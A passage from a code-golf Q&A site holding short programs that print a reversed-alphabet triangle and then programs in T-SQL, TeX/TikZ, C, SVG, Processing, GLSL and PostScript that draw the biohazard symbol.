decrement, pop, push 10 and output character * `;;(u!@W` pop down to the base number, decrement, u-turn right onto truthy test, halt if false otherwise change lane onto the duplicate at the beginning. Rinse and repeat. [Answer] # Python, 83 bytes ``` [print(' '*i+''.join([chr(64+i)for i in range(i+1,0,-1)]))for i in range(25,-1,-1)] ``` My first answer on codegolf :) [Answer] # [sed 4.2.2](https://www.gnu.org/software/sed/) + [Bash](https://www.gnu.org/software/bash/), 50 bytes ``` s/^/printf %25s;printf %s {Z..A}/e : p s/ \S// t d ``` [Try it online!](https://tio.run/##K05N@f@/WD9Ov6AoM68kTUHVyLTYGsYuVqiO0tNzrNVP5bLiKuAq1leICdbX5yrhAuoBAA "sed 4.2.2 – Try It Online") --- # [Bash](https://www.gnu.org/software/bash/) + [sed 4.2.2](https://www.gnu.org/software/sed/), 51 bytes ``` printf %s {Z..A}|sed 'h s/./ /g G : s/ [^ ]//p t d' ``` Building on [@DigitalTrauma's answer](https://codegolf.stackexchange.com/a/141748/12012). [Try it online!](https://tio.run/##S0oszvgf4BjiYaukn19Qol@cmqKflJlnpQISU/pfUJSZV5KmoFqsUB2lp@dYWwOUV1DP4CrW19NX0E/ncueyArIVouMUYvX1C7hKuFLU//8HAA "Bash – Try It Online") [Answer] # [Perl 5](https://www.perl.org/) + `-p`, 37 bytes ``` }{$\=$"x$-++.($a=$_.$a).$/.$\for A..Z ``` ## Explanation Since `-p` is being used with no input, the leading `}{` is to break out of the implicit `while(<STDIN>){` that's added. This builds the string, in reverse, into `$\` which is implicitly output after any content that is `print`ed. `for` each char in `A..Z`, `$\` is set to `$-` (which starts as `0` and is post-incremented for the next loop) `$"`s (which is the record separator and is initialised to space) to indent the string, concatenated with `$a` (which is prepended with `$_`, the current letter from the `for` loop), followed by `$/` (the line terminator, defaults to `"\n"`) and the existing contents of `$\`. [Try it online!](https://tio.run/##K0gtyjH9/7@2WiXGVkWpQkVXW1tPQyXRViVeTyVRU09FX08lJi2/SMFRTy/q//9/@QUlmfl5xf91CwA "Perl 5 – Try It Online") --- # [Perl 5](https://www.perl.org/) + `-M5.10.0`, 37 bytes ``` $#@-=say$"x$#@,reverse@@for\(@@=A..Z) ``` ## Explanation This approach outputs the string in order directly. `for` each char in the reference (`\(...)`) to `@@` (which is set to `A..Z`), this runs the loop once for each letter, `@@`'s final index is decremented by the result of outputting (`say`, includes a final newline) `$"` (space) 'the final index of `@@` times', followed by the `reverse` of `@@`. Using the return from `say` as the decrement means that the output happens before the final index is removed avoiding the need to add another entry to the list. So in the first iteration this outputs 25 spaces and `Z` to `A`, then 24 spaces and `Y` to `A` ... then 1 space and `BA` and 0 spaces and `A`. I feel like it should be possible to remove some syntax here. I played around with a way to define a list that shrinks but doesn't stop the loop halfway through and the `\(...)` seems to do just that, whereas `[...]` is seen as one list entry instead. Also trying to find a non-word character that works with the `$#_` notation was trickier than I'd hoped, `@;` - my usual go-to results in evaluation of `$#` (which is removed). [Try it online!](https://tio.run/##K0gtyjH9/19F2UHXtjixUkWpAsjUKUotSy0qTnVwSMsvitFwcLB11NOL0vz//19@QUlmfl7xf11fUz1DAz0DAA "Perl 5 – Try It Online") [Answer] # JavaScript, ~~75~~ 74 bytes *1 byte saved thanks to [Rick Hitchcock](https://codegolf.stackexchange.com/users/42260/rick-hitchcock)* ``` f=(a=65,b='',c)=>a>90?'':f(a+1,b+' ',c=String.fromCharCode(a)+[c])+` `+b+c ``` [Try it online!](https://tio.run/##y0osSyxOLsosKNHNy09J/f8/zVYj0dbMVCfJVl1dJ1nT1i7RztLAXl3dKk0jUdtQJ0lbXQEobhtcUpSZl66XVpSf65yRWOQM1KuRqKkdnRyrqZ3AlaCdpJ38Pzk/rzg/J1UvJz9dI01DU/M/AA) [Answer] # [Perl 5](https://www.perl.org/), 49 bytes ``` $_=$"x26 .join'',reverse A..Z,Z;say while s/ \S// ``` [Try it online!](https://tio.run/##K0gtyjH9/18l3lZFqcLITEEvKz8zT11dpyi1LLWoOFXBUU8vSifKujixUqE8IzMnVaFYXyEmWF////9/@QUlmfl5xf91fU31DAwNAA "Perl 5 – Try It Online") [Answer] # [Pyke](https://github.com/muddyfish/PYKE), 8 bytes ``` G_.<XFo}h- ``` [Try it here!](http://pyke.catbus.co.uk/?code=47+5F+BC+B0+6F+7D+68+2D&input=&warnings=1&hex=1) ``` - o = 0 G_ - reversed(alphabet) .< - suffixes(^) XF - for i in ^: o - o++ } - ^ * 2 h - ^ + 1 - - i.lpad(" ", ^) - for i in reversed(^): - print i ``` I can see the right language doing this in 6 bytes if they had a builtin for `prepend n spaces to string` as well as what Pyke does [Answer] # PHP (63 58 55 bytes) This is possibly my favorite strange corner of PHP, a corner which it inherits from Perl: ``` for($c=A;$c!=AA;$q="$s$z $q",$s.=" ")$z=$c++.$z;echo$q; ``` This outputs the trailing newline, as explicitly permitted. This can be run in `php -r` to save the opening `<?php` needed to put this in a file. Explanation: when a variable containing the string `'A'` is incremented in PHP, it becomes `'B'` and then `'C'` and so on up until `'Z'` becomes `'AA'`. There is no digit before `'A'` to start with in this madcap algebra, and the decrement operator does not undo it, so we save the incrementally reversed alphabet to `$z` (which defaults to `NULL` which when it gets concatenated with a string behaves like the empty string -- the same happens with `$s` and `$q`). Whitespace is accumulated in `$s` and the whole string is accumulated backwards in variable `$q` which means we have to echo it at the end. Thanks to [Titus](https://codegolf.stackexchange.com/users/55735/titus) for golfing off my curly braces and telling me that I don't need to take a penalty for inline-evaluation flags like `-r`. [Answer] # [SOGL V0.12](https://github.com/dzaima/SOGLOnline), ~~10~~ 8 [bytes](https://github.com/dzaima/SOGL/blob/master/chartable.md) ``` Z±{Xf}⁰¼ ``` [Try it Here!](https://dzaima.github.io/SOGLOnline/?code=WiVCMSU3QlhmJTdEJXUyMDcwJUJD,v=0.12) [Answer] # Common Lisp, ~~84~~ 82 bytes ``` (dotimes(i 26)(format t"~v@{ ~}~a "(- 25 i)(subseq"ZYXWVUTSRQPONMLKJIHGFEDCBA"i))) ``` [Try it online!](https://tio.run/##S87JLC74/18jJb8kMze1WCNTwchMUyMtvyg3sUShRKmuzKFaoa62LpFLSUNXwchUIVNTo7g0qTi1UCkqMiI8LDQkOCgwwN/P18fby9PD3c3VxdnJUSlTU1Pz/38A) Two bytes less thanks to @Ascii-only! [Answer] # Python 3, 71 69 bytes ``` for i in range(26):print(' '*(25-i)+'ZYXWVUTSRQPONMLKJIHGFEDCBA'[i:]) ``` [Try it online!](https://tio.run/##K6gsycjPM/7/Py2/SCFTITNPoSgxLz1Vw8hM06qgKDOvRENdQV1Lw8hUN1NTWz0qMiI8LDQkOCgwwN/P18fby9PD3c3VxdnJUT060ypW8////wA) ]
[Question] [ Draw the Biohazard symbol in an arbitrary colour on a distinctly coloured background. The specific proportions were published in the June 27th 1974 issue of the [Federal Register](https://en.wikipedia.org/wiki/Federal_Register) of the US Government. ### Details * As output, writing to a file (raster and vector formats are permitted) or displaying on the screen are both allowed. * You can draw just the border or the filled shape. * If you use raster images, you should take a parameter (or two) as input that lets you adjust the resolution of the output (e.g. width/height). * The background must at least have the size of the bounding box of the symbol but may be larger. * Outputting the unicode symbol ☣ is [not sufficient](https://codegolf.meta.stackexchange.com/a/12155/24877). * The exact ratios of the used distances are given in following diagram (which was originally from [here](https://archive.org/stream/federalregister39kunit#page/n848/mode/1up)): ![](https://i.stack.imgur.com/fIsNl.png) I also tried to make an additional diagram with the same measurements that is hopefully a little bit easier to read: ![](https://i.stack.imgur.com/RHMWP.jpg) (Inspired by a post on [99%invisible](https://99percentinvisible.org/article/biohazard-symbol-designed-to-be-memorable-but-meaningless/)) [Answer] # T-SQL, ~~442 441 426 355 349~~ 344 bytes ``` DECLARE @ VARCHAR(MAX)=REPLACE(REPLACE(REPLACE('DECLARE @a5MULTIPOINT((0 31),(19 -2),(-19 -2))'',@b5MULTIPOINT((0 39),(26 -6),(-26 -6))'',@5POINT(0 9)'',@d5LINESTRING(0 9,0 99,90 -43,0 9,-90 -43)''SELECT @a830%b821)%86)%d81)%d84%819))).STUnion(@827%820)).STIntersection(@b819)))' ,8,'.STBuffer('),5,' GEOMETRY='''),'%',').STDifference(@')EXEC(@) ``` Saved 70+ bytes by using `REPLACE()` for long keywords and executing as dynamic SQL. See the post-replacement code in the screenshot below. I doubled the coordinate values from the sample illustration and moved up 9 units, to reduce the number of decimals displayed. This was done in SQL 2017, using [geo-spatial features](https://docs.microsoft.com/en-us/sql/relational-databases/spatial/spatial-data-sql-server?view=sql-server-2017) introduced in SQL 2008. Lots of useful built-in geometry functions, including [`STBuffer`](https://docs.microsoft.com/en-us/sql/t-sql/spatial-geometry/stbuffer-geometry-data-type?view=sql-server-2017), which gives me a simple way to define circles of different sizes around a point. Visual of output, with annotated code: [![Biohazard symbol in T-SQL using geo-spatial functions](https://i.stack.imgur.com/iqDn8.png)](https://i.stack.imgur.com/iqDn8.png) For more T-SQL drawing, see [my Easter Bunny](https://codegolf.stackexchange.com/a/184653/70172). For more *practical* applications of this tech in SQL, [read this article](https://www.red-gate.com/simple-talk/sql/learn-sql-server/gis-and-sql-server-2008-making-maps-with-your-data/) or [watch this video](https://www.youtube.com/watch?v=USKidre6rJM). SE even has a related site, [gis.stackexchange.com](https://gis.stackexchange.com). **Edits:** 1. Saved 1 byte by changing a coordinate from 104 to 99. 2. Saved 15 bytes by taking the `STDifference` of a `STUnion` of objects, instead of each individually. 3. Saved 71 bytes by using `REPLACE()` on repeated keywords, then executing as dynamic SQL. Reverted Edit 2, to leave more replacements of `STDifference`. 4. Saved 4 bytes by moving the center up 9 units, which changed a few coordinates to single (negative) digits. This also freed up the numeral `5` to use as a replacement character instead of `'#'`, saving 2 more bytes on the quotes. 5. Saved 5 bytes by moving `)` into the `STDifference` replacement string; thanks, @Nicholas! [Answer] # Tex + Tikz, 232 bytes *43 bytes saved by switching to tex. Thanks to [Phelype Oleinik](https://codegolf.stackexchange.com/users/74096/phelype-oleinik)* *Some bytes saved thanks to [Skillmon](https://codegolf.stackexchange.com/users/77083/skillmon)* ``` \input tikz \tikz[x=1,y=1,white]{\def\f{\foreach\1in{90:,210:,330:}}\def\u{\draw[line width=}\def~{circle(}\f\fill[red](\122)~30);\f{\u2](0,)--(\111);\u8](\130)--(\160);\fill(\130)~21);}\fill~6);\u7,red]~23.5);\f\u2](\130)~20);}\bye ``` With line breaks and without `\def`: ``` \input tikz \tikz[x=1,y=1,white]{ \foreach\1in{90,210,330}\fill[red](\1:22)circle(30); \foreach\1in{90,210,330}{ \draw[line width=2](0,0)--(\1:11); \fill(\1:30)circle(21); \draw[line width=8](\1:30)--(\1:60); } \fill(0,0)circle(6); \draw[line width=7,red](0,0)circle(23.5); \foreach\1in{90,210,330}\draw[line width=2](\1:30)circle(20); } \bye ``` ## Explanation *This is a little outdated I will fix it when I can figure out how to make the images not enourmous* Here I am going to explain how the uncompressed answer solves the problem. I may at some point explain how the compression works. First we draw the big black circles: ``` \foreach\x in{90,210,330}\fill(\x:21)circle(30); ``` [![enter image description here](https://i.stack.imgur.com/APE8ns.png)](https://i.stack.imgur.com/APE8ns.png) Then we draw some white lines: ``` \foreach\x in{90,210,330}\draw[white,line width=2cm](0,0)--(\x:11); ``` [![enter image description here](https://i.stack.imgur.com/510Bls.png)](https://i.stack.imgur.com/510Bls.png) Then we draw white circles: ``` \foreach\x in{90,210,330}\fill[white](\x:30)circle(21); ``` [![enter image description here](https://i.stack.imgur.com/EUo4Vs.jpg)](https://i.stack.imgur.com/EUo4Vs.jpg) Then we add a central white circle: ``` \fill[white](0,0)circle(6); ``` [![enter image description here](https://i.stack.imgur.com/aw16zs.jpg)](https://i.stack.imgur.com/aw16zs.jpg) Then we add a black annulus: ``` \draw[line width=7cm](0,0)circle(25.5); ``` [![enter image description here](https://i.stack.imgur.com/nlOPXs.jpg)](https://i.stack.imgur.com/nlOPXs.jpg) Then we remove parts of the black annulus ``` \foreach\x in{90,210,330}\draw[white,line width=2cm](\x:30)circle(20); ``` [![enter image description here](https://i.stack.imgur.com/KrjEFs.jpg)](https://i.stack.imgur.com/KrjEFs.jpg) [Answer] # C, 8010 bytes Way back, before SVG or EMF, you had to deal with raster, and if you wanted something to load right away, say before the O/S was ready, like a Windows startup screen, you had to use RLE, or run-length-encoding. This monster outputs a PBM file using RLE as the data. Build like usual and run like this `./biohazard > biohazard.pbm`. If you were to include all the frameworks required to generate, e.g. the SVG engine in HTML, the Java libraries, etc. this would likely be the smallest *self-contained solution*, because `puts` is the only external function, and it's typically one of the smallest `stdio.h` functions. Regarding this detail: > > If you use raster images, you should take a parameter (or two) as input that lets you adjust the resolution of the output (e.g. width/height). > > > I interpreted "should" as different from "must", e.g. as in [RFC 2119](https://www.ietf.org/rfc/rfc2119.txt), so I didn't include scaling, because for this code it would only be feasible to do multiples of the original, e.g. `./biohazard 2` and that would introduce `atoi`, `printf` and other complications which would detract from the main focus of the submission. ``` int o,i,x[]= {4946,3,33,2,389,8,33,8,378,13,33,13,369,17,33,16,363,20,33,20,356,19,41,19,350,18,49,18,344,18,55,18,339,17,61,17,334, 17,66,17,330,17,71,17,325,17,75,17,321,17,79,17,317,17,83,17,313,17,87,16,311,16,90,17,307,17,93,17,303,17,97,17,300, 17,99,17,297,17,102,18,293,18,105,17,291,18,107,18,288,17,110,18,285,18,113,17,283,18,115,18,280,18,117,18,277,19,119, 18,275,19,121,19,272,19,123,19,270,19,125,19,268,19,127,19,266,19,129,19,263,20,131,19,261,20,133,19,259,20,134,20,257, 20,136,20,255,21,137,20,253,21,139,20,251,21,141,20,249,21,142,21,248,21,143,21,246,21,145,21,244,21,146,22,242,22,147, 22,240,22,149,22,238,22,150,22,238,22,151,22,236,22,152,23,234,23,153,23,232,23,155,22,232,23,155,23,230,23,157,23,228, 24,157,24,226,24,159,23,226,24,159,24,224,24,160,25,222,25,161,24,222,24,162,25,220,25,163,25,219,25,163,25,218,25,164, 26,216,26,165,25,216,26,165,26,214,26,166,26,214,26,167,26,212,27,167,26,212,26,168,27,210,27,169,27,209,27,169,27,208, 27,170,28,207,27,170,28,206,28,171,27,206,28,171,28,204,29,171,28,204,28,172,29,202,29,172,29,202,29,173,29,201,29,173, 29,200,30,173,29,200,30,173,30,198,31,173,30,198,30,174,31,197,30,174,31,196,31,174,31,196,31,175,31,195,31,175,31,194, 32,175,31,194,32,175,32,193,32,175,32,193,32,175,32,192,33,175,32,192,33,175,33,191,33,175,33,190,34,175,33,190,34,175, 33,190,34,175,34,189,34,174,35,189,34,174,35,188,35,174,35,188,35,174,36,187,36,173,36,187,36,173,36,187,36,173,36,186, 37,74,25,74,36,186,37,67,39,67,36,186,37,62,49,61,38,185,37,58,57,57,38,185,38,53,64,54,38,185,38,50,71,50,38,185,38, 47,76,48,38,185,38,45,81,44,39,184,40,41,87,41,39,184,40,39,91,39,39,184,40,37,95,37,39,184,40,35,99,34,41,183,41,32, 103,32,41,183,41,30,107,30,41,183,41,28,111,27,42,183,42,25,115,25,42,183,42,24,117,24,42,183,42,22,121,21,43,183,43, 19,124,20,43,183,43,18,127,18,43,183,43,17,129,16,44,183,44,14,133,14,44,183,44,13,135,12,45,183,45,11,137,11,45,183, 45,10,139,9,46,183,46,9,138,10,46,183,46,10,137,9,47,183,47,9,136,10,47,183,47,10,135,9,48,183,48,10,56,20,57,10,48, 183,49,9,50,33,49,10,48,184,49,10,45,41,45,10,48,184,50,10,40,49,40,10,49,184,50,10,37,55,36,10,50,185,50,10,33,60,34, 10,50,185,51,10,30,65,30,10,51,185,51,11,27,69,27,10,52,185,52,10,25,73,24,11,52,185,53,10,22,77,21,11,53,185,53,11,19, 81,19,10,53,186,54,11,16,85,16,10,54,185,56,11,13,88,14,11,56,181,59,11,11,91,11,11,59,176,63,11,8,94,9,11,63,171,66, 11,6,97,6,11,66,167,68,12,4,99,4,11,69,163,71,12,1,102,2,11,72,159,74,126,75,155,77,124,78,151,80,123,79,149,82,120,83, 145,85,118,86,141,88,116,88,139,90,114,91,135,93,112,93,133,96,109,96,130,98,107,98,127,101,104,102,124,104,101,104, 122,106,99,106,119,110,95,109,117,112,93,112,114,115,89,115,112,118,85,118,110,120,82,121,107,124,78,124,105,127,74, 127,103,131,69,130,101,134,65,133,99,137,60,137,97,141,54,141,95,146,47,145,93,151,39,150,91,157,29,156,89,166,13,165, 88,168,9,168,86,169,9,169,84,170,9,170,82,171,9,171,80,172,9,171,79,173,9,172,78,173,9,173,76,174,9,174,74,175,9,175, 72,176,9,175,72,176,9,176,70,177,9,177,68,64,20,93,10,94,20,63,68,57,34,83,17,83,33,58,66,54,42,77,21,76,43,54,64,51, 50,71,25,71,49,51,64,48,57,65,29,65,56,49,62,46,63,61,31,61,62,47,60,45,67,58,33,58,67,44,60,43,71,55,35,54,72,43,58, 41,36,8,32,52,37,51,33,8,35,41,58,40,36,17,26,49,39,48,27,16,37,40,56,39,38,22,23,46,41,45,24,21,39,39,55,37,40,26,21, 43,42,44,21,26,40,37,54,36,42,29,20,41,43,41,20,29,42,36,53,35,43,29,21,39,44,39,22,29,43,35,52,34,45,29,23,37,45,37, 23,29,45,34,51,33,46,29,24,35,46,35,25,29,46,33,50,32,48,29,26,33,47,33,26,29,47,33,49,31,49,29,27,32,47,32,27,29,49, 31,48,31,49,30,28,30,48,30,29,29,50,31,47,29,51,30,30,28,49,28,30,29,51,30,46,29,52,29,32,27,49,27,31,29,53,28,46,28, 53,29,33,26,49,26,32,29,54,28,44,28,54,29,34,25,49,25,33,29,55,27,44,27,55,29,35,24,49,23,35,29,56,27,43,26,56,29,36, 22,50,22,36,29,57,26,42,26,57,29,37,21,50,21,37,29,58,26,41,25,58,29,38,21,49,20,38,29,59,25,40,25,59,29,39,20,49,19, 39,29,60,24,40,24,60,29,40,19,49,19,39,29,61,24,39,23,61,29,41,18,49,18,40,29,62,23,38,23,62,30,41,17,49,17,41,29,63, 22,38,22,63,30,42,16,48,17,42,29,63,23,37,21,65,29,43,16,47,16,43,29,64,22,36,22,65,29,43,16,47,15,44,29,65,21,36,21, 66,29,44,13,50,14,44,29,66,21,35,20,67,29,45,11,53,11,45,29,67,20,34,20,68,29,46,8,57,8,46,29,67,20,34,20,68,29,46,6, 61,5,46,30,68,19,34,19,69,29,47,4,63,4,46,30,69,19,33,18,70,30,47,1,67,1,47,29,70,19,32,19,70,30,163,29,71,18,32,18,71, 30,61,2,37,2,61,29,72,18,31,17,73,29,59,5,35,5,58,30,72,18,31,17,73,29,58,7,33,7,57,30,73,17,30,17,74,30,55,10,31,10, 55,30,73,17,30,17,74,30,53,13,28,14,53,30,74,16,30,16,75,30,51,17,25,16,52,29,75,17,29,16,76,29,50,20,21,19,50,30,76, 16,29,15,77,30,50,21,16,22,50,30,77,15,29,15,77,30,50,26,7,25,51,30,77,15,28,15,78,30,51,57,50,30,78,15,28,15,78,31,50, 56,51,30,79,15,27,14,80,30,51,55,51,30,79,15,27,14,80,30,51,55,50,31,80,14,27,13,81,31,51,53,51,30,81,14,27,13,82,30, 51,53,51,30,82,13,27,13,82,31,50,52,51,31,82,13,26,13,83,31,51,51,51,31,82,13,26,13,83,31,51,51,50,31,84,12,26,13,84, 31,50,50,51,31,84,12,26,12,85,31,51,49,50,32,84,13,25,12,85,32,50,49,50,31,86,12,25,12,86,31,50,48,50,32,86,12,25,11, 87,32,50,47,50,32,86,12,25,11,87,32,50,47,49,32,88,11,25,11,88,32,49,47,49,32,88,11,25,11,88,32,49,46,49,32,89,11,25, 10,90,32,49,45,49,32,89,11,25,10,90,33,48,45,48,33,90,10,25,10,91,32,48,45,47,33,91,10,25,10,91,33,47,44,48,33,91,10, 25,10,91,34,46,44,47,33,92,10,25,9,93,33,47,43,46,34,92,10,25,9,93,34,46,43,46,33,93,10,25,9,94,34,45,43,45,34,94,9,25, 9,94,35,44,43,44,34,95,9,25,9,95,34,44,42,44,35,95,9,25,9,95,35,43,42,44,34,96,9,25,9,96,35,42,42,43,35,96,9,25,8,97, 36,42,41,42,35,97,9,25,8,98,36,41,41,41,36,97,9,25,8,99,36,40,41,40,36,98,8,26,8,99,37,39,41,39,36,99,8,26,8,100,37,38, 41,38,37,99,8,27,7,100,38,37,41,37,37,101,7,27,7,101,38,36,41,36,38,101,7,27,7,102,38,35,41,35,38,102,7,27,7,102,39,34, 41,34,38,103,7,27,7,103,39,33,41,33,39,103,7,27,7,104,39,32,41,32,39,104,7,27,7,104,41,30,41,30,40,104,7,29,6,105,41, 29,41,29,40,105,7,29,6,106,41,28,41,28,41,105,7,29,6,107,42,26,41,26,42,106,7,29,6,108,42,25,41,25,42,107,7,29,7,107, 44,22,42,23,43,108,6,30,7,108,44,21,42,21,45,108,6,31,6,109,45,19,42,20,45,109,6,31,6,110,46,17,43,17,46,110,6,31,6, 111,47,15,43,15,47,111,6,31,6,112,48,13,43,13,48,112,5,33,5,113,49,11,43,10,50,112,6,33,5,114,50,9,43,9,50,113,6,33,6, 113,50,8,44,9,49,114,6,33,6,114,48,9,45,8,48,115,5,35,5,115,47,9,45,8,47,116,5,35,5,117,45,8,46,9,45,116,6,35,6,117,44, 8,46,9,44,117,5,37,5,118,42,9,47,8,43,118,5,37,5,119,41,9,47,9,41,119,5,37,5,120,40,8,48,9,40,119,5,39,5,120,39,8,48,9, 38,121,5,39,5,121,37,9,49,8,37,122,5,39,5,123,35,9,49,9,35,123,4,41,5,123,34,8,50,9,34,123,5,41,5,124,32,9,51,9,31,125, 5,42,3,127,30,9,51,9,30,127,3,43,1,130,28,9,52,9,29,130,1,176,26,9,53,9,26,310,24,9,54,9,24,314,22,9,55,9,22,317,20,9, 55,9,20,320,18,9,56,10,17,324,15,10,57,9,16,327,13,9,58,10,13,331,10,10,59,9,11,335,8,9,60,10,8,339,5,10,61,9,6,344,2, 9,62,10,2,358,63,368,65,367,65,366,67,365,67,364,69,362,70,362,71,360,73,358,75,356,76,356,77,354,79,352,81,350,82,349, 84,215,2,130,86,130,3,79,5,129,87,128,6,77,6,127,89,126,6,79,6,125,91,124,7,80,6,123,93,122,7,82,6,121,95,120,7,84,6, 119,97,118,7,86,7,115,100,116,7,87,8,113,102,114,7,89,8,111,105,111,7,91,8,109,107,109,7,93,8,107,109,106,9,94,9,103, 112,104,9,96,9,101,115,101,9,98,10,97,118,98,10,100,10,95,121,95,10,102,11,91,124,92,11,104,11,89,127,88,11,107,12,85, 131,85,11,110,12,81,135,81,12,112,13,77,138,78,13,114,14,73,143,73,14,116,15,69,72,2,73,69,15,118,17,63,74,5,73,64,16, 122,17,59,75,7,75,58,18,124,19,53,77,9,77,53,19,126,22,45,79,13,78,46,21,130,24,37,82,15,81,38,24,132,28,27,85,18,86, 27,28,135,37,5,95,21,95,5,37,138,134,24,135,141,131,27,131,144,128,31,127,148,124,34,125,151,121,37,121,155,117,41,117, 159,113,45,113,163,109,49,109,167,105,53,105,171,101,57,101,175,96,62,96,181,91,67,91,185,86,72,86,191,80,78,81,196,74, 84,74,204,67,91,67,211,59,99,59,219,51,107,51,228,40,119,39,242,25,133,25,5311,0}; main(){for(puts("P1\n432 408");x[i];++i,o=!o)while(x[i]--)puts(o?"0":"1");} ``` [Answer] # TeX + Ti*k*Z, ~~234~~ ~~230~~ ~~226~~ 224 bytes Originally 5 bytes longer than [Sriotchilism O'Zaic's answer](https://codegolf.stackexchange.com/a/191321/77083), but this one should be correct. It is similar to his answer but saves a few bytes more here and there, it needs one `\draw[line width=8]` more (in the code below this is done by `\28](~30)to(~55);`, that's 17 bytes added only for this) to get the tips of the symbol right, hence the 5 bytes more overall code length. * thanks to Sriotchilism O'Zaic I reread some specifications of the question and realized I can change the colour to red, so that saves a few bytes again. * another two bytes were stripped thanks to [Joe85AC's comment](https://codegolf.stackexchange.com/questions/191294/draw-the-biohazard-symbol/191321#comment487588_191342) ``` \input tikz\let~\def~\1{circle(}~\2{~\draw[line width=}~~{\foreach~in{90:,210:,330:}}\tikz[x=1,y=1,white]{~\fill[red](~22)\130);~\fill(~30)\121);\28](~30)to(~55);\22](~0)to(~10);\fill\16);\27,red]\123.5);\22](~30)\120);}\bye ``` # TeX-g + Ti*k*Z, 195 Bytes Just if someone cares, the following uses a TeX-based code golf dialect that I'm working on (don't consider the code stable). The byte count includes EOL characters and the EOF character, as those are semantically used (EOL delimits arguments of loops). The dialect is pretty small up until now and only features shorthands for definitions and a for-loop syntax, however it is not specifically written for this answer, so it shouldn't break the rules of code golfing. Repository for the `-g.tex`-package/file: <https://github.com/Skillmon/TeX-g> ``` \input-g <tikz>~"{\:~{90:,210:,330:}}~'{circle(}~_{\draw[line width=}!f\fill\tikz[x=1,y=1,white]{"f[red](~22)'30); "f(~30)'21);_8](~30)to(~55);_2](~0)to(~10); f'6);_7,red]'23.5);"_2](~30)'20); } ``` Output of both code snippets looks identical: [![enter image description here](https://i.stack.imgur.com/T0H1o.png)](https://i.stack.imgur.com/T0H1o.png) (*too lazy to update the image, just imagine it being red*) [Answer] ## SVG(HTML5), ~~434~~ ~~410~~ ~~321~~ 306 bytes ``` <svg viewbox=-60,-60,120,120><circle r=23.5 stroke-width=7 fill=#fff stroke=#000 /><use href=#g transform=scale(-1,1) /><g id=g><use href=#p transform=rotate(120) /><use href=#p transform=rotate(240) /><path id=p stroke=#fff stroke-width=2 d=M5,0A5,5,0,0,0,0,-5V-10A20,20,0,0,0,2,-50V-53A31,31,0,0,1,31,-17 ``` Now based on @LevelRiverSt's SVG. Edit: Saved 12 bytes thanks to @G0BLiN. [Answer] # Processing, ~~371~~ 368 bytes ``` translate(width/2,width/2);scale(width/99);int i=0,b=204;float t=TAU/3;noStroke();for(;i<3;i++){fill(0);ellipse(0,-22,60,60);rotate(t);}for(;i<6;i++){fill(b);rect(-4,-60,8,16);ellipse(0,-30,42,42);rotate(t);}ellipse(0,0,12,12);stroke(0);strokeWeight(7);noFill();ellipse(0,0,47,47);for(;i<9;i++){strokeWeight(2);stroke(b);ellipse(0,-30,40,40);line(0,0,0,-9);rotate(t);} ``` I wasn't sure if Processing should count as rasterized or not for the purpose of this challenge. If it counts as rasterized, the `translate` and `scale` is necessary to make the symbol legible and on-screen for a given window size. But, because all of the drawing commands are vectorized, it works at any given scale; so if we assume drawing at the relative origin to be about 200 units wide is fine, the first 43 bytes can be dropped. This assumes the background color is `204, 204, 204`, which is the default background color in processing. It also assumes a `rectMode` of `CORNER` and an `ellipseMode` of `CENTER` (the defaults) With an initial `size(640, 640)`, the resulting sketch looks like this: [![enter image description here](https://i.stack.imgur.com/Kn2SC.png)](https://i.stack.imgur.com/Kn2SC.png) By doubling the scale, I saved 3 bytes, because `.5`s are eliminated (though several numbers do flow from 1 digit to 2 digit). The construction is similar to the TeX solution, drawing black and then gray on top to "erase" the gaps between the shape. Explanation: ``` translate(width/2,width/2); // Move to the middle of the canvas scale(width/99); // Scale up to fill the canvas int i=0,b=204; // Initialize i, and `b` to the background color float t=TAU/3; // Save a rotation of one third, in radians noStroke(); for(;i<3;i++){ // Draw the three big black circles fill(0); ellipse(0,-22,60,60); rotate(t); } for(;i<6;i++){ fill(b); rect(-4,-60,8,16); // "Blunt" the corners on the sharp outer rings ellipse(0,-30,42,42); // Cut out the middle of the big circles rotate(t); } ellipse(0,0,12,12); // Cut out the small circle in the middle stroke(0); strokeWeight(7); noFill(); ellipse(0,0,47,47); // Draw the thick band that goes through all three big circles for(;i<9;i++){ strokeWeight(2); stroke(b); ellipse(0,-30,40,40); // Cut the "gap" between the three big rings //and the band passing through them line(0,0,0,-16); // Cut the lines coming out of the small middle circle rotate(t); } ``` [Answer] # GLSL, ~~700~~ ~~629~~ ~~564~~ ~~545~~ 499 bytes ``` #define v vec2 #define j(x,r)length(x-g)<r #define k(x,r,q)j(x,q)!=j(x,r) #define l(b)length(g-b)<1.&&length(g-dot(g,b)*b)<(length(g)<S?A*S:A/S) float C=.86,S=.5,F=.3,E=.22,A=.02,G=.21;void mainImage(out vec4 o,in v p){v r=iResolution.xy;v g=(p/S-r)/r.y;o.g=(k(v(0,F),G,G-A)||k(v(F*C,-F*S),G,G-A)||k(v(-F*C,-F*S),G,G-A))?o.g=0.:k(v(0),F,G)?C:l(v(0,1))||l(v(C,-S))||l(v(-C,-S))||j(v(0),.06)||j(v(0,F),G)||j(v(F*C,-F*S),G)||j(v(-F*C,-F*S),G)?0.:j(v(0,E),F)||j(v(E*C,-E*S),F)||j(v(-E*C,-E*S),F)?C:0.;} ``` I was playing around with Shadertoy, so I tried the GLSL shading language. The code just rasterizes circles and lines by testing each fragment, and assigns them a value of one or zero. The size was cut down from >1000 bytes by heavy use of macros. [Shadertoy program](https://www.shadertoy.com/view/td33R8) [![enter image description here](https://i.stack.imgur.com/8QPiB.png)](https://i.stack.imgur.com/8QPiB.png) [Answer] # [PostScript](https://en.wikipedia.org/wiki/PostScript), ~~367~~ ~~359~~ ~~328~~ 271 bytes Code (compressed version): ``` 5 5 scale 36 24 translate <</c{0 360 arc closepath}/r{120 rotate}/R{repeat}/L{setlinewidth}/g{setgray}/F{fill}>>begin 3{0 11 15 c F r}R 1 g 3{0 15 10.5 c F r}R 0 0 3 c F 3{[-.5 2 1 3 -2 25 4 3]rectfill r}R 0 g 4 L 0 0 11.5 c stroke 1 g 1 L 3{0 15 10 c stroke r}R showpage ``` Code (uncompressed version): ``` 5 5 scale % over-all scale 36 24 translate % over-all shift % define some short-named procedures for later use << /c { 0 360 arc closepath } % append circle (x, y, radius are taken from stack) /r { 120 rotate } % rotate by 120° /R { repeat } /L { setlinewidth } /g { setgray } /F { fill } >> begin 3 { 0 11 15 c F % black circle r % rotate by 120° } R 1 g % set white color 3 { 0 15 10.5 c F % white circle r % rotate by 120° } R 0 0 3 c F % small white circle 3 { [ -.5 2 1 3 % white gap near center -2 25 4 3 % white gap on edge ] rectfill r % rotate by 